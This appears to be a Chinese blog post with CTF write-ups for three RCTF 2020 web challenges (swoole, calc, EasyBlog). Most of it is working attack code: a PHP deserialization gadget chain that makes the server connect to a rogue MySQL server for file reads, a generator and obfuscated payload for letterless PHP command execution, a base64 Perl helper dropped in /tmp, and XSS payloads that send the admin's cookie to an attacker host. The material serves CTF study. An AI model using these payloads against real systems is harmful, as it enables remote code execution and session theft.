• RCTF2020 calc & EasyBlog & swoole


    这比赛的web太可怕了,我爬了

    swoole

    writeup:https://blog.rois.io/2020/rctf-2020-official-writeup/
    源码如下

    #!/usr/bin/env php
    <?php
    SwooleRuntime::enableCoroutine($flags = SWOOLE_HOOK_ALL);
    $http = new SwooleHttpServer("0.0.0.0", 9501);
    $http->on("request",
        function (SwooleHttpRequest $request, SwooleHttpResponse $response) {
            SwooleRuntime::enableCoroutine();
            $response->header('Content-Type', 'text/plain');
            // $response->sendfile('/flag');
            if (isset($request->get['phpinfo'])) {
                // Prevent racing condition
                // ob_start();phpinfo();
                // return $response->end(ob_get_clean());
                return $response->sendfile('phpinfo.txt');
            }
            if (isset($request->get['code'])) {
                try {
                    $code = $request->get['code'];
                    if (!preg_match('/x00/', $code)) {
                        $a = unserialize($code);
                        $a();
                        $a = null;
                    }
                } catch (Throwable $e) {
                    var_dump($code);
                    var_dump($e->getMessage());
                    // do nothing
                }
                return $response->end('Done');
            }
            $response->sendfile(__FILE__);
        }
    );
    $http->start();
    

    用了swoole框架,并且直接给了反序列化:

    $a = unserialize($code);
    $a();
    

    这里首先需要知道这个,即:[类,方法名]()的方式去调用类中的方法

    <?php
    class demo{
    	public function test(){
    		phpinfo();
    	}
    }
    $a = new demo();
    $b = [$a,'test'];
    $b();
    

    数组
    然后就是需要触发rogue mysql
    根据hint:https://github.com/swoole/library/issues/34
    这里mysql连接之后的选项均无效,那就找一个替代的:PDO

    先看一下文档里的PDO连接方式:
    在这里插入图片描述
    需要用到PDOPool这个类然后去调用PDOPool::get()完成连接

    说实话我看完writeup还是很懵

    认为直接去序列化PDOPool::get然后反序列化就完成了,如

     $a = new SwooleDatabasePDOPool((new SwooleDatabasePDOConfig)
            ->withHost('123.57.240.205')
            ->withPort(3307)
            ->withDbName('test')
            ->withCharset('utf8mb4')
            ->withUsername('root')
            ->withPassword('root')
            ->withOptions([
                 PDO::MYSQL_ATTR_LOCAL_INFILE => 1,
                 PDO::MYSQL_ATTR_INIT_COMMAND => 'select 1'
            ])
        );
      echo serialize([$a,'get']);
    

    在swoole环境下运行会报错:
    PHP Fatal error: Uncaught Exception: Serialization of 'SwooleCoroutineChannel' is not allowed in
    看一下源码:
    PDOPool继承了ConnectionPool,在ConnectionPool中找到$pool,类型为Channel
    在这里插入图片描述
    然 后 发 现 原 来 是swoole 4.3.0版 本 后 已 经 移 除 Channel这个类的序列化,可 以 用 new SplDoublyLinkedList()来替代$pool

    那么就不能偷家了(不能直接序列化PDOPool::get)

    所以要找另外一个方式,这也是我在复现的时候不理解的一个点,后来用swoole环境就清楚多了= =。

    首先既然不能直接调用类:方法,那么就只能找一条链了,而链反序列化出来的东西肯定包含其他类方法,所以$a()会调用ObjectProxy::__invoke方法:
    在这里插入图片描述
    然后将__object设置为Handler::exec
    在这里插入图片描述
    而这个execute函数也比较巧妙,允许我们执行两个自定义回调函数
    在这里插入图片描述
    在这里插入图片描述
    那么先看第一个cb,Handler::headerFunction,将其设置为MysqliProxy::reconnect
    这里允许我们调用函数
    在这里插入图片描述
    然后初始化一个ObjectProxy,参数为函数返回的结果
    在这里插入图片描述
    令constructor为ConnectionPool::get
    先看它的__construct
    在这里插入图片描述
    将这几个参数初始化为:
    在这里插入图片描述
    然后进入get
    在这里插入图片描述
    由于pool被设置成了new SplDoublyLinkedList(),IsEmpty返回true,并且num<size

    <?php
    $a=new SplDoublyLinkedList();
    var_dump($a->IsEmpty());//bool(true)
    

    满足if进入make(),在这里看到有个能让我们实例化随意类,随意参数的地方,那就将proxy设置成PDOPool,将constructor设置成它的配置:PDOConfig
    在这里插入图片描述
    然后将类带入put
    在这里插入图片描述
    put里面做了一个push操作,然后执行结束返回:

    return $this->pool->pop();
    

    我本地测了一下push后pop数据没变化
    在这里插入图片描述
    所以这里return的就是一个PDOPool类了
    对应writeup中的代码:

    $c = new SwooleDatabasePDOConfig();
    $c->withHost('ip');    // your rouge-mysql-server host & port
    $c->withPort(3307);
    $c->withOptions([
        PDO::MYSQL_ATTR_LOCAL_INFILE => 1,
        PDO::MYSQL_ATTR_INIT_COMMAND => 'select 1'
    ]);
    
    $a = new SwooleConnectionPool(function () { }, 0, '');
    changeProperty($a, 'size', 100);
    changeProperty($a, 'constructor', $c);
    changeProperty($a, 'num', 0);
    changeProperty($a, 'pool', new SplDoublyLinkedList());
    changeProperty($a, 'proxy', '\Swoole\Database\PDOPool');
    

    顺带啰嗦一下

    如果MySQL客户端连接以后,如果没有进行任何一句包括SELECT @@version之类的查询,客户端是完全不会响应服务器的LOCAL INFILE请求的。有许多客户端,例如MySQL命令行,连接之后就会向服务器查询各类参数。但PHP的MySQL客户端连接之后是什么都不会做的,因此我们需要给MySQL客户端配置MYSQL_ATTR_INIT_COMMAND参数,让它连接之后自动向服务器发送一条SQL语句。

    那么PDOPool这个类就完成了

    到这里第一个函数$cb就完成了,并且ObjectProxy::__object为PDOPool类

    来看第二个$cb,令Handler::readFunction为MysqliProxy::get,MysqliProxy没有get方法,触发__call
    在这里插入图片描述
    这里的__object已经被我们上一步操作覆盖为PDOPool类,最后一步就是连接了,所以才会令Handler::readFunction为MysqliProxy::get,此时name为get,也就调用了PDOPool::get

    完成PDO连接

    然后用S和0绕一下这个正则即可:

    !preg_match('/x00/', $code))
    

    直接跑官方exp,然后服务器上跑Rogue-MySql-Server即可:
    在这里插入图片描述
    看了好久总算懂了...Orz

    calc

    计算,跟到/calc.php有源码:

    <?php
    error_reporting(0);
    if(!isset($_GET['num'])){
        show_source(__FILE__);
    }else{
        $str = $_GET['num'];
        $blacklist = ['[a-z]', '[x7f-xff]', 's',"'", '"', '`', '[', ']','$', '_', '\\','^', ','];
        foreach ($blacklist as $blackitem) {
            if (preg_match('/' . $blackitem . '/im', $str)) {
                die("what are you want to do?");
            }
        }
        @eval('echo '.$str.';');
    }
    ?>
    

    过滤比较严格,最关键的把字母、异或、反引号、$等ban了,那么之前常用的无字母数字webshell就不好使了,不过有或运算和与运算还在,那么就可以通过| & ~等构造字母
    echo (((10000000000000000000000).(1)){3});
    在这里插入图片描述
    可以得到E,或是
    在这里插入图片描述
    姿势很多

    贴一个cjm00n师傅的脚本,Orz:

    #!/usr/bin/env python3
    # -*- coding: utf-8 -*-
    
    table = list(b'0123456789.-EINF')
    dict={}
    l=len(table)
    temp=0
    while temp!=l:
        for j in range(temp,l):
            if ~table[j] & 0xff not in table:
                table.append(~table[j] & 0xff)
                dict[~table[j] & 0xff] = {'op':'~','c':table[j]}
        for i in range(l):
            for j in range(max(i+1,temp),l):
                t = table[i] & table[j]
                if t not in table:
                    table.append(t)
                    dict[t] = {'op':'&','c1':table[i],'c2':table[j]}
                t = table[i] | table[j]
                if t not in table:
                    table.append(t)
                    dict[t] = {'op': '|', 'c1': table[i], 'c2': table[j]}
        temp=l
        l=len(table)
    
    table.sort()
    def howmake(ch:int) -> str:
        if ch in b'0123456789':
            return '(((1).(' + chr(ch) + ')){1})'
        elif ch in b'.':
            return '(((1).(0.1)){2})'
        elif ch in b'-':
            return '(((1).(-1)){1})'
        elif ch in b'E':
            return '(((1).(0.00001)){4})'
        elif ch in b'I':
            return '(((999**999).(1)){0})'
        elif ch in b'N':
            return '(((999**999).(1)){1})'
        elif ch in b'F':
            return '(((999**999).(1)){2})'
    
        d = dict.get(ch)
        if d:
            op = d.get('op')
            if op == '~':
                c = '~'+howmake(d.get('c'))
            elif op =='&':
                c = howmake(d.get('c1')) + '&' + howmake(d.get('c2'))
            elif op == '|':
                c = howmake(d.get('c1')) + '|' + howmake(d.get('c2'))
            return f'({c})'
        else:
            print('error')
            return
    
    if __name__ == '__main__':
        while 1:
            payload = input('>')
            result = []
            for i in payload:
                result.append(howmake(ord(i)))
            result='.'.join(result)
            print(f'({result})')
    

    思路就是先得到可打印字符的ascii的构造方式,然后根据传入的字符的ascii,在0123456789.-E这几个数的基础上递归拼接
    在这里插入图片描述
    然后构造system(next(getallheaders()))执行命令:

    (((((1).(0)){1})|((~(((1).(4)){1}))&((((1).(2)){1})|(((1).(0.00001)){4})))).((((1).(0)){1})|((~(((1).(4)){1}))&((((1).(8)){1})|(((1).(0.00001)){4})))).((((1).(0)){1})|((~(((1).(4)){1}))&((((1).(2)){1})|(((1).(0.00001)){4})))).((((1).(0)){1})|((((1).(0.00001)){4})&(~(((1).(1)){1})))).((((1).(0.00001)){4})|((((1).(0)){1})&(((1).(0.1)){2}))).((((1).(-1)){1})|(((1).(0.00001)){4})))((((((1).(0.1)){2})|((((1).(0.00001)){4})&(~(((1).(1)){1})))).((((1).(0.00001)){4})|((((1).(0)){1})&(((1).(0.1)){2}))).((((1).(0)){1})|((~(((1).(5)){1}))&((((1).(8)){1})|(((1).(0.00001)){4})))).((((1).(0)){1})|((((1).(0.00001)){4})&(~(((1).(1)){1})))))((((((1).(0.00001)){4})|((((1).(2)){1})&(((1).(0.1)){2}))).((((1).(0.00001)){4})|((((1).(0)){1})&(((1).(0.1)){2}))).((((1).(0)){1})|((((1).(0.00001)){4})&(~(((1).(1)){1})))).(((((1).(0)){1})&(((1).(0.1)){2}))|((((1).(0.00001)){4})&(~(((1).(4)){1})))).(((((1).(0)){1})&(((1).(0.1)){2}))|((~(((1).(1)){1}))&((((1).(8)){1})|(((1).(0.00001)){4})))).(((((1).(0)){1})&(((1).(0.1)){2}))|((~(((1).(1)){1}))&((((1).(8)){1})|(((1).(0.00001)){4})))).(((((1).(0)){1})&(((1).(0.1)){2}))|((~(((1).(5)){1}))&((((1).(8)){1})|(((1).(0.00001)){4})))).((((1).(0.00001)){4})|((((1).(0)){1})&(((1).(0.1)){2}))).(((((1).(0)){1})&(((1).(0.1)){2}))|((((1).(0.00001)){4})&(~(((1).(4)){1})))).(((((1).(0)){1})&(((1).(0.1)){2}))|((((1).(0.00001)){4})&(~(((1).(1)){1})))).((((1).(0.00001)){4})|((((1).(0)){1})&(((1).(0.1)){2}))).((((1).(0)){1})|((~(((1).(5)){1}))&((((1).(2)){1})|(((1).(0.00001)){4})))).((((1).(0)){1})|((~(((1).(4)){1}))&((((1).(2)){1})|(((1).(0.00001)){4})))))()));
    

    在这里插入图片描述
    /readflag之前需要计算
    在这里插入图片描述
    可以将payload写入/tmp下然后用perl执行,编码一下防止数据丢失

    echo 'IyEvdXNyL2Jpbi9lbnYgcGVybAogICAgICAgIHVzZSB3YXJuaW5nczsKICAgICAgICB1c2Ugc3RyaWN0OwogICAgICAgIHVzZSBJUEM6Ok9wZW4yOwogICAgICAgICR8ID0gMTsKICAgICAgICBteSAkcGlkID0gb3BlbjIoXCpvdXQyLCBcKmluMiwgIi9yZWFkZmxhZyIpIG9yIGRpZTsKICAgICAgICBteSAkcmVwbHkgPSA8b3V0Mj47CiAgICAgICAgcHJpbnQgU1RET1VUICRyZXBseTsKICAgICAgICAkcmVwbHkgPSA8b3V0Mj47CiAgICAgICAgcHJpbnQgU1RET1VUICRyZXBseTsKICAgICAgICBteSAkYW5zd2VyID0gZXZhbCgkcmVwbHkpOwogICAgICAgIHByaW50IFNURE9VVCAiYW5zd2VyOiAkYW5zd2VyXFxuIjsKICAgICAgICBwcmludCBpbjIgIiAkYW5zd2VyICI7CiAgICAgICAgaW4yLT5mbHVzaCgpOwogICAgICAgICRyZXBseSA9IDxvdXQyPjsKICAgICAgICBwcmludCBTVERPVVQgJHJlcGx5OwogICAgICAgICRyZXBseSA9IDxvdXQyPjsKICAgICAgICBwcmludCBTVERPVVQgJHJlcGx5Ow=='|base64 -d >/tmp/a.pl
    

    在这里插入图片描述
    然后执行perl /tmp/a.pl即可
    在这里插入图片描述

    EasyBlog

    渣渣来复现
    登陆注册后是明显的XSS

    尝试用<img src=#>可以正常插入图片,但是插入<img src=# onerror=alert(1)>会被过滤,看一下csp:

    default-src 'none'; script-src 'unsafe-eval' 'nonce-4dd516bfb85e09859190085f3abc31d8439fe768' ; font-src 'self' data:; connect-src 'self'; img-src *; style-src 'self'; base-uri 'none'
    

    注意到有unsafe-eval和nonce

    unsafe-eval:允许将字符串当作代码执行,比如使用eval、setTimeout、setInterval和Function等函数

    而nonce:每次HTTP回应给出一个授权token,页面内嵌脚本必须有这个token,才会执行

    并且由于没有unsafe-inline,即使成功插入了<script>也不会被执行

    先看文章处的js代码:

    function addComments(comments) {
      comments.forEach(function (comment) {
        let html = `
        <div class="panel panel-default">
            <div class="panel-heading">
              <span class="name"></span>
              <div class="pull-right">
                  <button type="button" class="btn btn-default btn-xs like" data-id="${comment.id}">
                    <span class="glyphicon glyphicon-thumbs-up" aria-hidden="true"></span><span>${comment.like}</span>
                  </button>
                  <button type="button" class="btn btn-default btn-xs dislike" data-id="${comment.id}">
                    <span class="glyphicon glyphicon-thumbs-down" aria-hidden="true"></span><span>${comment.dislike}</span>
                  </button>
              </div>
            </div>
            <div class="panel-body"></div>
          </div>
        `;
        dom = $(html)
        dom.find('div>.name').text(comment.name)
        dom.find('.panel-body').html(comment.comment)
        $('#comments').append(dom)
      })
    }
    function getUrlParam(name) {
      var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)")
      var r = window.location.search.substr(1).match(reg)
      if (r != null) return unescape(r[2])
      return null
    }
    
    $.get('?page=comments&cb=addComments&id=' + getUrlParam('id'))
    $('#comments').on('click','button', function(e) {
      let btn = $(e.currentTarget)
      if (btn.hasClass('like')) {
        $.get('?page=vote&op=like&id=' + btn.data('id'), function(e) {
          let count = parseInt(btn.children('span:last-child').text())
          btn.children('span:last-child').text(count + 1)
        })
      } else if(btn.hasClass('dislike')) {
        $.get('?page=vote&op=dislike&id=' + btn.data('id'), function(e) {
          let count = parseInt(btn.children('span:last-child').text())
          btn.children('span:last-child').text(count + 1)
        })
      }
    })
    

    这里有一个jsonp的回调函数

    $.get('?page=comments&cb=addComments&id=' + getUrlParam('id'))
    

    但是由于没有unsafe-inline限制了script脚本的执行

    根据writeup是考的script gadget(代码重用)

    例如html如下

    <!DOCTYPE html>
    <html>
    <head>
    </head>
    <body>
    <button id="mbutton" data-text="<img src=x onerror=alert(/xss/)>">a</button>
    <script>
    var button = document.getElementById("mbutton");
    button.innerHTML = button.getAttribute("data-text");
    </script>
    </body>
    </html>
    

    首先button中的一个属性是img的error弹窗,但是直接放到html中并不会产生效果,但是如果用script标签加载一个js,内容为选择id为mbutton的button,并取出data-text属性值,并放入加入html中便会产生gadget(代码重用)此时img便被加入了button
    在这里插入图片描述
    并且成功弹窗
    在这里插入图片描述
    回到题目,这里由于没有unsafe-inline,无法加载script标签,那么便无法gadget

    看到zepto源码:
    https://github.com/madrobby/zepto/blob/763b3d6dc3b4350759ed30aa196cd2b6e39efcfb/src/zepto.js#L918
    在这里插入图片描述
    这里可以看到如果结点的大写是SCRIPT就会将其用eval执行,这正好符合csp当中的unsafe-eval,所以,在不使用script标签的情况下,仍然可以用eval来执行js完成gadget,那么可以用ı来替代i,payload:

    <scrıpt>location.href="http://ip:port/?"+document.cookie</scrıpt>
    

    将其插入到文章评论处,zepto会自动帮我们eval执行,然后提交给bot
    在这里插入图片描述
    收到管理员cookie
    在这里插入图片描述
    在这里插入图片描述
    还有一种解法,首先回到这个jsonp,观察到cb为回调函数处

    $.get('?page=comments&cb=addComments&id=' + getUrlParam('id'))
    

    getUrlParam函数是根据&来获取id参数的

    function getUrlParam(name) {
      var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)")
      var r = window.location.search.substr(1).match(reg)
      if (r != null) return unescape(r[2])
      return null
    }
    

    那么就用%26代替&,在show处增加一个cb,也就是回调函数,来执行代码:

    ?page=show&id=0e65a36c-8369-4ae9-bb32-60119d4e2d06%26cb=alert()//&id=0e65a36c-8369-4ae9-bb32-60119d4e2d06
    

    然后原理还是gadget,用eval来执行,在一开始写文章处插入:

    <input id="a" value="window.location='http://ip:port/'">
    

    然后url的cb改为eval(a.value)即可

    ?page=show&id=0e65a36c-8369-4ae9-bb32-60119d4e2d06%26cb=eval(a.value)//id=0e65a36c-8369-4ae9-bb32-60119d4e2d06
    
  • 相关阅读:
    java面试-synchronized底层实现机制
    java面试-内存分配与回收策略
    java面试-对象的创建、内存布局、访问定位
    推荐算法-余弦相似度
    推荐算法-欧几里得距离
    MySQL总结
    MySQL事务
    MySQL-一条sql语句的执行顺序
    mysql 表格操作指令大全(Show、desc、create、insert into、delete、select、drop、update、alter)
    mysql 创建数据数据库 (避免新建的库名已经存在、设置编码)
  • 原文地址:https://www.cnblogs.com/W4nder/p/13043797.html
Copyright © 2020-2023  润新知